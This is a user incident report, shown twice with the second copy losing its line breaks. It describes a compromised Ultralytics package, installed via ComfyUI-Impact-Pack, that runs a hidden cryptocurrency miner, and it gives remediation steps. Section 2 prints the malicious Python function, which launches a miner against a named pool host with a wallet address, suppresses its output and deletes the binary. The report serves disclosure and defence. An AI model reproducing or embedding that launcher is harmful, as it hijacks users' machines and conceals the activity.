Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics
1. Problem Description
While using ComfyUI with the ComfyUI-Impact-Pack extension, suspicious behavior involving the Ultralytics package was detected. A malicious Python script was identified, seemingly designed to execute unauthorized cryptocurrency mining using system resources without user consent.
2. Identification of Malicious Code
The malicious code was located in the downloads.py file within the directory:
C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils
Malicious Code Snippet
def safe_run(path):
os.chmod(path, 0o770)
command = [
path,
'-u',
'4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
'-o',
'connect.consrensys.com:8080',
'-k'
]
process = subprocess.Popen(
command,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
close_fds=True
)
os.remove(path)
Observed Behavior
- Permission Change: The script uses
os.chmod to make a file executable.
- Malicious Command Execution: The code executes a command to connect to
connect.consrensys.com:8080, a potentially malicious mining pool.
- Hidden Process: The script suppresses standard input, output, and error streams to avoid detection.
- File Removal: Deletes the executed file to remove evidence of malicious activity.
Risk Assessment
This behavior strongly suggests unauthorized cryptocurrency mining, which could lead to:
- High Resource Usage: Drastic increase in CPU/GPU consumption.
- Hardware Degradation: Accelerated wear on system components.
- Security Breach: Potential compromise of sensitive data or system integrity.
3. Source of the Issue
The activity was traced to the installation of the Ultralytics package, which appears to be a modified version. This package might have been automatically installed as a dependency of the ComfyUI-Impact-Pack.
Installation Path
- Suspicious Package:
ultralytics version 8.3.41.
- Location:
C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics.
Installation Trigger
The suspicious behavior was likely initiated during the execution of the install.py script included in the ComfyUI-Impact-Pack, which installs dependencies.
4. Network Behavior Analysis
- Target Domain:
connect.consrensys.com.
- Port:
8080.
- Purpose: This domain is suspected to act as a mining pool endpoint, utilizing protocols like Stratum for cryptocurrency mining.
Evidence:
- The script's connection details explicitly target a known mining pool address.
- A private key (
4BHRQHF...) is used, suggesting an active mining account or operation.
5. Recommended Actions
- Uninstall the Suspected Package:
pip uninstall ultralytics ultralytics-thop
- Remove the ComfyUI-Impact-Pack:
Delete its directory:
C:\Users\OTupã\Documents\ComfyUI\custom_nodes\ComfyUI-Impact-Pack
- Scan the System:
Run antivirus and malware detection tools to ensure no persistent threats remain.
- Verify Network Connections:
Check for outgoing connections to connect.consrensys.com and block them in your firewall.
- Raise Awareness:
Submit this report to the maintainers of both ComfyUI and Ultralytics to prevent further abuse.
6. Supporting Evidence
- Code Location:
C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils\downloads.py.
- Behavior: Unauthorized file execution, mining pool connection, and evidence removal.
- Trigger: Automatic dependency installation by ComfyUI-Impact-Pack.
This issue highlights the need for robust dependency auditing in open-source projects to prevent malicious modifications from compromising end users' systems.
Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics
1. Problem Description
While using ComfyUI with the ComfyUI-Impact-Pack extension, suspicious behavior involving the Ultralytics package was detected. A malicious Python script was identified, seemingly designed to execute unauthorized cryptocurrency mining using system resources without user consent.
2. Identification of Malicious Code
The malicious code was located in the
downloads.pyfile within the directory:Malicious Code Snippet
Observed Behavior
os.chmodto make a file executable.connect.consrensys.com:8080, a potentially malicious mining pool.Risk Assessment
This behavior strongly suggests unauthorized cryptocurrency mining, which could lead to:
3. Source of the Issue
The activity was traced to the installation of the Ultralytics package, which appears to be a modified version. This package might have been automatically installed as a dependency of the ComfyUI-Impact-Pack.
Installation Path
ultralyticsversion8.3.41.C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics.Installation Trigger
The suspicious behavior was likely initiated during the execution of the
install.pyscript included in the ComfyUI-Impact-Pack, which installs dependencies.4. Network Behavior Analysis
connect.consrensys.com.8080.Evidence:
4BHRQHF...) is used, suggesting an active mining account or operation.5. Recommended Actions
Delete its directory:
Run antivirus and malware detection tools to ensure no persistent threats remain.
Check for outgoing connections to
connect.consrensys.comand block them in your firewall.Submit this report to the maintainers of both ComfyUI and Ultralytics to prevent further abuse.
6. Supporting Evidence
C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils\downloads.py.This issue highlights the need for robust dependency auditing in open-source projects to prevent malicious modifications from compromising end users' systems.